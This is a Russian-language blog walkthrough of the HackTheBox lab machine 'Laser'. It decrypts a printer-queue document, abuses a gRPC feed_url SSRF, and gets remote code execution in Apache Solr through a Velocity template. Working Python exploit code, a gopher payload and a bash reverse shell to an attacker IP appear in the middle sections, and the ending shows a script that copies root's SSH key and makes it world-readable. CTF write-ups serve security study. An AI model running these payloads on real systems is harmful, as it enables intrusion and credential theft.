Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!
Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье мы работаем с принтером и получаем документ, который даст нам вектор захвата хоста, найдем в памяти ключ шифрования и расшифруем найденный документ. Далее работаем с gRPC и даже получаем RCE. Как вектор LPE, пробуем найти уязвимость в скиптах, использующих SSH.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.201, который я добавляю в /etc/hosts.
10.10.10.201 laser.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
После сканирования мы по сути ничего не имеем. Давайте попробуем нагуглить какие либо упоминания о проблемах безопасности, связанных с данными портами (кроме SSH).
И мы находим даже инструмент, который позволяет нам работать с принтером.
Entry Point
Давайте посмотрим, что мы можем в итоге получить.
Осмотревшись, мы находим только один файл.
Давайте получим его и откроем.
Проблема в том, что она зашифрован, поэтому мы не можем его просмотреть.
Но мы можем достать ключ шифрования.
Так как файл зашифрован с помощью AES CBC, мы можем его расшифровать.
import base64
from Crypto.Cipher import AES
mess = open("./PRET/queued", "r").read()[2:].replace("'", "")
mess_decrypt = base64.b64decode(mess)
IV, CT = mess_decrypt[8:24], mess_decrypt[24:]
chip = AES.new('13vu94r6643rv19u', AES.MODE_CBC, IV)
OT = chip.decrypt(CT)
with open("decr.pdf", "wb") as f:
f.write(OT)
По сигнатуре видим, что это PDF документ. А уже в самом документе находим кое-что интересное.
Таким образом, 9000 порт отвечает за RPC приложение с реализованным методом Feed. Оно принимает входные сериализованные данные Content и возвращает Data с помощью службы Print. gRPC — это высокопроизводительный фреймворк для удаленного вызова процедур, разработанный компанией Google.
Сперва нам нужно описать формат обмена данными. Для этого используем protocol buffers.Указываем версию protobuf, описываем типы данных для клиент-серверного взаимодействия. Будем отсылать текстовые данные (типа string) Content и получать данные Data с помощью Print. Создадим файл ralf.proto (можно свое название).
syntax = "proto3";
message Content {
string data = 1;
}
message Data {
float feed = 1;
}
service Print {
rpc Feed(Content) returns (Data) {}
}
Далее установим две библиотеки: grpcio и grpcio-tools. Первая это сама библиотека для grpc, а вторая — набор примочек для автоматизации разработки.
sudo pip3 install grpcio
sudo pip3 install grpcio-tools
Теперь сгенерируем два файла.
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ralf.proto
Файл _pb2.py содержит описание протокола взаимодействия. Файл _pb2_grpc.py хранит классы, которые нужно использовать в сервере и клиенте.
После необходимых импортов, нужно открыть канал. Затем подключаем клиент нашего RPC API к этому каналу и вызываем функции, как будто удаленно никуда не обращаемся! Мы знаем, что порт 22 открыт. Давайте проверим реакцию, на запрос feed с этого порта и потенциально закрытого.
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"http://localhost:22"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
response = stub.Feed(content, timeout=30)
print(response)
except Exception as e:
print(e.details())
То есть мы можем узнать, какие порты открыты для localhost. Давайте переберем все пароли. Порты разделим на закрытые, открытые и порты, отвечающие feed (так как 22 порт ответил not allowed).
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
for port in range(1, 65536):
p = '{"feed_url":"http://localhost:'+ str(port) +'"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
response = stub.Feed(content, timeout=30)
print("Port found: " + str(port))
except Exception as e:
if "Connection refused" in e.details():
print("Port: "+ str(port), end="\r")
else:
print("Port open: " + str(port) + " "*10)
И находим нужный, отвечающий нам порт.
USER
Узнаем что это.
И находим даже эксплоит. Таким образом, мы можем получить RCE, выполнив 2 запроса, как в инструкции. Первый запрос:
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
stub.Feed(content, timeout=30)
except Exception as e:
print(e.details())
И во втором запросе бэкконнект шелл: bash -i >& /dev/tcp/10.10.14.205/4321 0>&1.
import pickle, base64
import grpc, ralf_pb2, ralf_pb2_grpc
p = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.205%2F4321%200%3E%261%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'
p2 = base64.b64encode(pickle.dumps(p))
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = ralf_pb2_grpc.PrintStub(channel)
content = ralf_pb2.Content(data=p2)
try:
response = stub.Feed(content, timeout=30)
except Exception as e:
print(e.details())
И у нас есть шелл от имени пользователя.
ROOT
Для удобного доступа сгенерируем и запишем SSH ключ.
Для разведки на системе используем LinPEAS. И отмечаем наличие сетевого интерфейса docker, а также наличие большого количества SSH соединений с этого интерфейса.
Давайте проследим новые процессы с помощью pspy. И видим пароль для подключения, а также выполняемый скрипт.
Дело в том, что мы можем перенаправить соединение и выполнить скрипт с локального хоста от имени root. Давайте зайдем на docker и загрузим на хост socat. После чего остановим службу SSH и выполним перенаправление.
А теперь создадим на удаленном хосте (не в docker) скрипт /tmp/clear.sh, который будет копировать SSH ключ рута и делать его доступным для всех.
#!/bin/sh
cp /root/.ssh/id_rsa /tmp/; chmod 777 /tmp/id_rsa
Подождав немного обнаружим желанный ключ.
И подключимся как root.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.